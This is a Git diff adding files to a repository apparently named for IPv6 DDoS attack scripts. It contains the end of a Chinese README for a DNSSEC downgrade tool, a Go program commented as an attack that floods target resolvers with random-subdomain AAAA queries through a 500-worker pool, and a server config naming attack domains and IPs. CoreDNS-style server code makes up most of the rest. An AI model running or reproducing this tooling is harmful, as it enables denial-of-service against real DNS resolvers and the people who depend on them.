在服务器B上安装python3,将proxy.py脚本移动到服务器上。
|
||||
|
||||
### 工具使用方法
|
||||
|
||||
DNSSEC绕过工具无输入参数,直接通过`python3 proxy.py`运行。
|
||||
|
||||
### 测试方法
|
||||
|
||||
1. 在服务器B上启动权威服务器,监听9999端口;
|
||||
2. 在服务器B上执行python3 proxy.py命令,启动DNSSEC绕过工具;
|
||||
3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu,通过解析结果验证DNSSEC降级攻击效果
|
||||
|
||||
21
att script/3_v6_DDoS/code/攻击脚本/go.mod
Normal file
21
att script/3_v6_DDoS/code/攻击脚本/go.mod
Normal file
@@ -0,0 +1,21 @@
|
||||
module prober
|
||||
|
||||
go 1.20
|
||||
|
||||
require (
|
||||
github.com/miekg/dns v1.1.55
|
||||
github.com/panjf2000/ants/v2 v2.8.2
|
||||
github.com/schollz/progressbar/v3 v3.13.1
|
||||
github.com/thanhpk/randstr v1.0.6
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/mattn/go-runewidth v0.0.14 // indirect
|
||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect
|
||||
github.com/rivo/uniseg v0.2.0 // indirect
|
||||
golang.org/x/mod v0.7.0 // indirect
|
||||
golang.org/x/net v0.2.0 // indirect
|
||||
golang.org/x/sys v0.6.0 // indirect
|
||||
golang.org/x/term v0.6.0 // indirect
|
||||
golang.org/x/tools v0.3.0 // indirect
|
||||
)
|
||||
46
att script/3_v6_DDoS/code/攻击脚本/go.sum
Normal file
46
att script/3_v6_DDoS/code/攻击脚本/go.sum
Normal file
@@ -0,0 +1,46 @@
|
||||
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||
github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw=
|
||||
github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
|
||||
github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU=
|
||||
github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
||||
github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo=
|
||||
github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY=
|
||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ=
|
||||
github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw=
|
||||
github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ=
|
||||
github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I=
|
||||
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||
github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY=
|
||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
||||
github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE=
|
||||
github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ=
|
||||
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
|
||||
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
|
||||
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
|
||||
github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
|
||||
github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8=
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o=
|
||||
github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U=
|
||||
golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA=
|
||||
golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=
|
||||
golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU=
|
||||
golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY=
|
||||
golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E=
|
||||
golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y=
|
||||
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw=
|
||||
golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U=
|
||||
golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM=
|
||||
golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k=
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
49
att script/3_v6_DDoS/code/攻击脚本/main.go
Normal file
49
att script/3_v6_DDoS/code/攻击脚本/main.go
Normal file
@@ -0,0 +1,49 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"github.com/miekg/dns"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"github.com/schollz/progressbar/v3"
|
||||
"github.com/thanhpk/randstr"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// 攻击
|
||||
func main() {
|
||||
defer ants.Release()
|
||||
|
||||
var wg sync.WaitGroup
|
||||
|
||||
p, _ := ants.NewPool(500, ants.WithPreAlloc(true))
|
||||
|
||||
c := new(dns.Client)
|
||||
args := os.Args
|
||||
qname := args[1]
|
||||
runcount, _ := strconv.Atoi(args[2])
|
||||
bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度")
|
||||
for i := runcount; i > 0; i-- {
|
||||
for _, v := range args[3:] {
|
||||
wg.Add(1)
|
||||
|
||||
fqdn := strings.ToLower(randstr.String(10)) + "." + qname
|
||||
msg := dns.Msg{}
|
||||
msg.SetQuestion(fqdn, dns.TypeAAAA)
|
||||
vi := v + ":53"
|
||||
|
||||
_ = p.Submit(
|
||||
func() {
|
||||
_, _, err := c.Exchange(&msg, vi)
|
||||
wg.Done()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
})
|
||||
bar.Add(1)
|
||||
}
|
||||
}
|
||||
wg.Wait()
|
||||
print("完成!!")
|
||||
}
|
||||
4
att script/3_v6_DDoS/code/辅助权威服务器/Ohmyfile
Normal file
4
att script/3_v6_DDoS/code/辅助权威服务器/Ohmyfile
Normal file
@@ -0,0 +1,4 @@
|
||||
|
||||
.:53 {
|
||||
atk adns comm.n64.top. nsatk.n64.top. 8.210.161.5 v6.natk.club. nsv6.natk.club. 240b:4001:21b:d300:c4b4:9a3a:6d21:62ae 30
|
||||
}
|
||||
5
att script/3_v6_DDoS/code/辅助权威服务器/core/core.go
Normal file
5
att script/3_v6_DDoS/code/辅助权威服务器/core/core.go
Normal file
@@ -0,0 +1,5 @@
|
||||
package core
|
||||
|
||||
// 注册服务并导入所有插件
|
||||
import _ "ohmydns2/core/dnsserver"
|
||||
import _ "ohmydns2/core/prober"
|
||||
86
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/address.go
Normal file
86
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/address.go
Normal file
@@ -0,0 +1,86 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type zoneAddr struct {
|
||||
Zone string
|
||||
Port string
|
||||
Transport string // dns, tls or grpc
|
||||
Address string // used for bound zoneAddr - validation of overlapping
|
||||
}
|
||||
|
||||
// String returns the string representation of z.
|
||||
func (z zoneAddr) String() string {
|
||||
s := z.Transport + "://" + z.Zone + ":" + z.Port
|
||||
if z.Address != "" {
|
||||
s += " on " + z.Address
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts.
|
||||
func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) {
|
||||
parts := strings.Split(address, "://")
|
||||
switch len(parts) {
|
||||
case 1:
|
||||
ip, port, err := net.SplitHostPort(parts[0])
|
||||
return "", ip, port, err
|
||||
case 2:
|
||||
ip, port, err := net.SplitHostPort(parts[1])
|
||||
return parts[0], ip, port, err
|
||||
default:
|
||||
return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address)
|
||||
}
|
||||
}
|
||||
|
||||
type zoneOverlap struct {
|
||||
registeredAddr map[zoneAddr]zoneAddr // each zoneAddr is registered once by its key
|
||||
unboundOverlap map[zoneAddr]zoneAddr // the "no bind" equiv ZoneAddr is registered by its original key
|
||||
}
|
||||
|
||||
func newOverlapZone() *zoneOverlap {
|
||||
return &zoneOverlap{registeredAddr: make(map[zoneAddr]zoneAddr), unboundOverlap: make(map[zoneAddr]zoneAddr)}
|
||||
}
|
||||
|
||||
// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered
|
||||
// we consider that an unbound address is overlapping all bound addresses for same zone, same port
|
||||
func (zo *zoneOverlap) registerAndCheck(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
|
||||
existingZone, overlappingZone = zo.check(z)
|
||||
if existingZone != nil || overlappingZone != nil {
|
||||
return existingZone, overlappingZone
|
||||
}
|
||||
// there is no overlap, keep the current zoneAddr for future checks
|
||||
zo.registeredAddr[z] = z
|
||||
zo.unboundOverlap[z.unbound()] = z
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// check validates a zoneAddr for overlap without registering it
|
||||
func (zo *zoneOverlap) check(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) {
|
||||
if exist, ok := zo.registeredAddr[z]; ok {
|
||||
// exact same zone already registered
|
||||
return &exist, nil
|
||||
}
|
||||
uz := z.unbound()
|
||||
if already, ok := zo.unboundOverlap[uz]; ok {
|
||||
if z.Address == "" {
|
||||
// current is not bound to an address, but there is already another zone with a bind address registered
|
||||
return nil, &already
|
||||
}
|
||||
if _, ok := zo.registeredAddr[uz]; ok {
|
||||
// current zone is bound to an address, but there is already an overlapping zone+port with no bind address
|
||||
return nil, &uz
|
||||
}
|
||||
}
|
||||
// there is no overlap
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// unbound returns an unbound version of the zoneAddr
|
||||
func (z zoneAddr) unbound() zoneAddr {
|
||||
return zoneAddr{Zone: z.Zone, Address: "", Port: z.Port, Transport: z.Transport}
|
||||
}
|
||||
105
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/config.go
Normal file
105
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/config.go
Normal file
@@ -0,0 +1,105 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/request"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
)
|
||||
|
||||
// Config configuration for a single server.
|
||||
type Config struct {
|
||||
// The zone of the site.
|
||||
Zone string
|
||||
|
||||
// one or several hostnames to bind the server to.
|
||||
// defaults to a single empty string that denote the wildcard address
|
||||
ListenHosts []string
|
||||
|
||||
// The port to listen on.
|
||||
Port string
|
||||
|
||||
// Root points to a base directory we find user defined "things".
|
||||
// First consumer is the file plugin to looks for zone files in this place.
|
||||
Root string
|
||||
|
||||
// Debug controls the panic/recover mechanism that is enabled by default.
|
||||
Debug bool
|
||||
|
||||
// Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default.
|
||||
Stacktrace bool
|
||||
|
||||
// The transport we implement, normally just "dns" over TCP/UDP, but could be
|
||||
// DNS-over-TLS or DNS-over-gRPC.
|
||||
Transport string
|
||||
|
||||
// If this function is not nil it will be used to inspect and validate
|
||||
// HTTP requests. Although this isn't referenced in-tree, external plugins
|
||||
// may depend on it.
|
||||
HTTPRequestValidateFunc func(*http.Request) bool
|
||||
|
||||
// FilterFuncs is used to further filter access
|
||||
// to this handler. E.g. to limit access to a reverse zone
|
||||
// on a non-octet boundary, i.e. /17
|
||||
FilterFuncs []FilterFunc
|
||||
|
||||
// ViewName is the name of the Viewer PLugin defined in the Config
|
||||
ViewName string
|
||||
|
||||
// TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS).
|
||||
TLSConfig *tls.Config
|
||||
|
||||
// Timeouts for TCP, TLS and HTTPS servers.
|
||||
ReadTimeout time.Duration
|
||||
WriteTimeout time.Duration
|
||||
IdleTimeout time.Duration
|
||||
|
||||
// TSIG secrets, [name]key.
|
||||
TsigSecret map[string]string
|
||||
|
||||
// Plugin stack.
|
||||
Plugin []plugin.Plugin
|
||||
|
||||
// Compiled plugin stack.
|
||||
pluginChain plugin.Handler
|
||||
|
||||
// Plugin interested in announcing that they exist, so other plugin can call methods
|
||||
// on them should register themselves here. The name should be the name as return by the
|
||||
// Handler's Name method.
|
||||
registry map[string]plugin.Handler
|
||||
|
||||
// firstConfigInBlock is used to reference the first config in a server block, for the
|
||||
// purpose of sharing single instance of each plugin among all zones in a server block.
|
||||
firstConfigInBlock *Config
|
||||
|
||||
// metaCollector references the first MetadataCollector plugin, if one exists
|
||||
metaCollector MetadataCollector
|
||||
}
|
||||
|
||||
// FilterFunc is a function that filters requests from the Config
|
||||
type FilterFunc func(context.Context, *request.Request) bool
|
||||
|
||||
// keyForConfig builds a key for identifying the configs during setup time
|
||||
func keyForConfig(blocIndex int, blocKeyIndex int) string {
|
||||
return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex)
|
||||
}
|
||||
|
||||
// GetConfig gets the Config that corresponds to c.
|
||||
// If none exist nil is returned.
|
||||
func GetConfig(c *caddy.Controller) *Config {
|
||||
ctx := c.Context().(*dnsContext)
|
||||
key := keyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex)
|
||||
if cfg, ok := ctx.keysToConfigs[key]; ok {
|
||||
return cfg
|
||||
}
|
||||
// we should only get here during tests because directive
|
||||
// actions typically skip the server blocks where we make
|
||||
// the configs.
|
||||
ctx.saveConfig(key, &Config{ListenHosts: []string{""}})
|
||||
return GetConfig(c)
|
||||
}
|
||||
29
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/https.go
Normal file
29
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/https.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"ohmydns2/plugin/pkg/nonwriter"
|
||||
)
|
||||
|
||||
// DoHWriter is a nonwriter.Writer that adds more specific LocalAddr and RemoteAddr methods.
|
||||
type DoHWriter struct {
|
||||
nonwriter.Writer
|
||||
|
||||
// raddr is the remote's address. This can be optionally set.
|
||||
raddr net.Addr
|
||||
// laddr is our address. This can be optionally set.
|
||||
laddr net.Addr
|
||||
|
||||
// request is the HTTP request we're currently handling.
|
||||
request *http.Request
|
||||
}
|
||||
|
||||
// RemoteAddr returns the remote address.
|
||||
func (d *DoHWriter) RemoteAddr() net.Addr { return d.raddr }
|
||||
|
||||
// LocalAddr returns the local address.
|
||||
func (d *DoHWriter) LocalAddr() net.Addr { return d.laddr }
|
||||
|
||||
// Request returns the HTTP request
|
||||
func (d *DoHWriter) Request() *http.Request { return d.request }
|
||||
@@ -0,0 +1,60 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"ohmydns2/plugin/pkg/dnsutil"
|
||||
"regexp"
|
||||
"sort"
|
||||
)
|
||||
|
||||
// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not.
|
||||
// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax
|
||||
func checkZoneSyntax(zone string) bool {
|
||||
if zone == "." || dnsutil.IsReverse(zone) != 0 {
|
||||
return true
|
||||
}
|
||||
regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone)
|
||||
return regex1035PreferredSyntax
|
||||
}
|
||||
|
||||
// startUpZones creates the text that we show when starting up:
|
||||
// grpc://example.com.:1055
|
||||
// example.com.:1053 on 127.0.0.1
|
||||
func startUpZones(protocol, addr string, zones map[string][]*Config) string {
|
||||
s := ""
|
||||
|
||||
keys := make([]string, len(zones))
|
||||
i := 0
|
||||
|
||||
for k := range zones {
|
||||
keys[i] = k
|
||||
i++
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
for _, zone := range keys {
|
||||
//if strings.HasPrefix(protocol, "prober") {
|
||||
// s += fmt.Sprintln("探测服务启动,访问路径为" + "http://" + prober.proberurl + ":" + transport.PHTTPPort + prober.proberPath)
|
||||
// continue
|
||||
//}
|
||||
if !checkZoneSyntax(zone) {
|
||||
s += fmt.Sprintf("Warning: Domain %q does not follow RFC1035 preferred syntax\n", zone)
|
||||
}
|
||||
// split addr into protocol, IP and Port
|
||||
_, ip, port, err := SplitProtocolHostPort(addr)
|
||||
|
||||
if err != nil {
|
||||
// this should not happen, but we need to take care of it anyway
|
||||
s += fmt.Sprintln(protocol + zone + ":" + addr)
|
||||
continue
|
||||
}
|
||||
if ip == "" {
|
||||
s += fmt.Sprintln(protocol + zone + ":" + port)
|
||||
continue
|
||||
}
|
||||
// if the server is listening on a specific address let's make it visible in the log,
|
||||
// so one can differentiate between all active listeners
|
||||
s += fmt.Sprintln(protocol + zone + ":" + port + " on " + ip)
|
||||
}
|
||||
return s
|
||||
}
|
||||
328
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/register.go
Normal file
328
att script/3_v6_DDoS/code/辅助权威服务器/core/dnsserver/register.go
Normal file
@@ -0,0 +1,328 @@
|
||||
package dnsserver
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"ohmydns2/plugin"
|
||||
"ohmydns2/plugin/pkg/parse"
|
||||
"ohmydns2/plugin/pkg/transport"
|
||||
"time"
|
||||
|
||||
"github.com/coredns/caddy"
|
||||
"github.com/coredns/caddy/caddyfile"
|
||||
"github.com/miekg/dns"
|
||||
)
|
||||
|
||||
const serverType = "dns"
|
||||
|
||||
func init() {
|
||||
caddy.RegisterServerType(serverType, caddy.ServerType{
|
||||
Directives: func() []string { return Directives },
|
||||
DefaultInput: func() caddy.Input {
|
||||
return caddy.CaddyfileInput{
|
||||
Filepath: "Ohmyfile",
|
||||
Contents: []byte(".:" + Port + " {\nwhoami\nlog\n}\n"),
|
||||
ServerTypeName: serverType,
|
||||
}
|
||||
},
|
||||
NewContext: newContext,
|
||||
})
|
||||
}
|
||||
|
||||
func newContext(i *caddy.Instance) caddy.Context {
|
||||
return &dnsContext{keysToConfigs: make(map[string]*Config)}
|
||||
}
|
||||
|
||||
type dnsContext struct {
|
||||
keysToConfigs map[string]*Config
|
||||
|
||||
// configs is the master list of all site configs.
|
||||
configs []*Config
|
||||
}
|
||||
|
||||
func (h *dnsContext) saveConfig(key string, cfg *Config) {
|
||||
h.configs = append(h.configs, cfg)
|
||||
h.keysToConfigs[key] = cfg
|
||||
}
|
||||
|
||||
// Compile-time check to ensure dnsContext implements the caddy.Context interface
|
||||
var _ caddy.Context = &dnsContext{}
|
||||
|
||||
// InspectServerBlocks make sure that everything checks out before
|
||||
// executing directives and otherwise prepares the directives to
|
||||
// be parsed and executed.
|
||||
func (h *dnsContext) InspectServerBlocks(sourceFile string, serverBlocks []caddyfile.ServerBlock) ([]caddyfile.ServerBlock, error) {
|
||||
// Normalize and check all the zone names and check for duplicates
|
||||
for ib, s := range serverBlocks {
|
||||
// Walk the s.Keys and expand any reverse address in their proper DNS in-addr zones. If the expansions leads for
|
||||
// more than one reverse zone, replace the current value and add the rest to s.Keys.
|
||||
zoneAddrs := []zoneAddr{}
|
||||
for ik, k := range s.Keys {
|
||||
trans, k1 := parse.Transport(k) // get rid of any dns:// or other scheme.
|
||||
hosts, port, err := plugin.SplitHostPort(k1)
|
||||
// We need to make this a fully qualified domain name to catch all errors here and not later when
|
||||
// plugin.Normalize is called again on these strings, with the prime difference being that the domain
|
||||
// name is fully qualified. This was found by fuzzing where "ȶ" is deemed OK, but "ȶ." is not (might be a
|
||||
// bug in miekg/dns actually). But here we were checking ȶ, which is OK, and later we barf in ȶ. leading to
|
||||
// "index out of range".
|
||||
for ih := range hosts {
|
||||
_, _, err := plugin.SplitHostPort(dns.Fqdn(hosts[ih]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if port == "" {
|
||||
switch trans {
|
||||
case transport.DNS:
|
||||
port = Port
|
||||
case transport.TLS:
|
||||
port = transport.TLSPort
|
||||
case transport.GRPC:
|
||||
port = transport.GRPCPort
|
||||
case transport.HTTPS:
|
||||
port = transport.HTTPSPort
|
||||
}
|
||||
}
|
||||
|
||||
if len(hosts) > 1 {
|
||||
s.Keys[ik] = hosts[0] + ":" + port // replace for the first
|
||||
for _, h := range hosts[1:] { // add the rest
|
||||
s.Keys = append(s.Keys, h+":"+port)
|
||||
}
|
||||
}
|
||||
for i := range hosts {
|
||||
zoneAddrs = append(zoneAddrs, zoneAddr{Zone: dns.Fqdn(hosts[i]), Port: port, Transport: trans})
|
||||
}
|
||||
}
|
||||
|
||||
serverBlocks[ib].Keys = s.Keys // important to save back the new keys that are potentially created here.
|
||||
|
||||
var firstConfigInBlock *Config
|
||||
|
||||
for ik := range s.Keys {
|
||||
za := zoneAddrs[ik]
|
||||
s.Keys[ik] = za.String()
|
||||
// Save the config to our master list, and key it for lookups.
|
||||
cfg := &Config{
|
||||
Zone: za.Zone,
|
||||
ListenHosts: []string{""},
|
||||
Port: za.Port,
|
||||
Transport: za.Transport,
|
||||
}
|
||||
|
||||
// Set reference to the first config in the current block.
|
||||
// This is used later by MakeServers to share a single plugin list
|
||||
// for all zones in a server block.
|
||||
if ik == 0 {
|
||||
firstConfigInBlock = cfg
|
||||
}
|
||||
cfg.firstConfigInBlock = firstConfigInBlock
|
||||
|
||||
keyConfig := keyForConfig(ib, ik)
|
||||
h.saveConfig(keyConfig, cfg)
|
||||
}
|
||||
}
|
||||
return serverBlocks, nil
|
||||
}
|
||||
|
||||
// MakeServers uses the newly-created siteConfigs to create and return a list of server instances.
|
||||
func (h *dnsContext) MakeServers() ([]caddy.Server, error) {
|
||||
// Copy the Plugin, ListenHosts and Debug from first config in the block
|
||||
// to all other config in the same block . Doing this results in zones
|
||||
// sharing the same plugin instances and settings as other zones in
|
||||
// the same block.
|
||||
for _, c := range h.configs {
|
||||
c.Plugin = c.firstConfigInBlock.Plugin
|
||||
c.ListenHosts = c.firstConfigInBlock.ListenHosts
|
||||
c.Debug = c.firstConfigInBlock.Debug
|
||||
c.Stacktrace = c.firstConfigInBlock.Stacktrace
|
||||
|
||||
// Fork TLSConfig for each encrypted connection
|
||||
c.TLSConfig = c.firstConfigInBlock.TLSConfig.Clone()
|
||||
c.ReadTimeout = c.firstConfigInBlock.ReadTimeout
|
||||
c.WriteTimeout = c.firstConfigInBlock.WriteTimeout
|
||||
c.IdleTimeout = c.firstConfigInBlock.IdleTimeout
|
||||
c.TsigSecret = c.firstConfigInBlock.TsigSecret
|
||||
}
|
||||
|
||||
// we must map (group) each config to a bind address
|
||||
groups, err := groupConfigsByListenAddr(h.configs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// then we create a server for each group
|
||||
var servers []caddy.Server
|
||||
for addr, group := range groups {
|
||||
// switch on addr
|
||||
switch tr, _ := parse.Transport(addr); tr {
|
||||
case transport.DNS:
|
||||
s, err := NewServer(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
|
||||
case transport.TLS:
|
||||
s, err := NewServerTLS(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
//暂不启用grpc传输
|
||||
//case transport.GRPC:
|
||||
// s, err := NewServergRPC(addr, group)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// servers = append(servers, s)
|
||||
//case transport.PROBER:
|
||||
// s, err := prober.NewProberHTTP(addr, group)
|
||||
// if err != nil {
|
||||
// return nil, err
|
||||
// }
|
||||
// servers = append(servers, s)
|
||||
case transport.HTTPS:
|
||||
s, err := NewServerHTTPS(addr, group)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
servers = append(servers, s)
|
||||
}
|
||||
}
|
||||
|
||||
// For each server config, check for View Filter plugins
|
||||
for _, c := range h.configs {
|
||||
// Add filters in the plugin.cfg order for consistent filter func evaluation order.
|
||||
for _, d := range Directives {
|
||||
if vf, ok := c.registry[d].(Viewer); ok {
|
||||
if c.ViewName != "" {
|
||||
return nil, fmt.Errorf("multiple views defined in server block")
|
||||
}
|
||||
c.ViewName = vf.ViewName()
|
||||
c.FilterFuncs = append(c.FilterFuncs, vf.Filter)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Verify that there is no overlap on the zones and listen addresses
|
||||
// for unfiltered server configs
|
||||
errValid := h.validateZonesAndListeningAddresses()
|
||||
if errValid != nil {
|
||||
return nil, errValid
|
||||
}
|
||||
|
||||
return servers, nil
|
||||
}
|
||||
|
||||
// AddPlugin adds a plugin to a site's plugin stack.
|
||||
func (c *Config) AddPlugin(m plugin.Plugin) {
|
||||
c.Plugin = append(c.Plugin, m)
|
||||
}
|
||||
|
||||
// registerHandler adds a handler to a site's handler registration. Handlers
|
||||
//
|
||||
// use this to announce that they exist to other plugin.
|
||||
func (c *Config) registerHandler(h plugin.Handler) {
|
||||
if c.registry == nil {
|
||||
c.registry = make(map[string]plugin.Handler)
|
||||
}
|
||||
|
||||
// Just overwrite...
|
||||
c.registry[h.Name()] = h
|
||||
}
|
||||
|
||||
// Handler returns the plugin handler that has been added to the config under its name.
|
||||
// This is useful to inspect if a certain plugin is active in this server.
|
||||
// Note that this is order dependent and the order is defined in directives.go, i.e. if your plugin
|
||||
// comes before the plugin you are checking; it will not be there (yet).
|
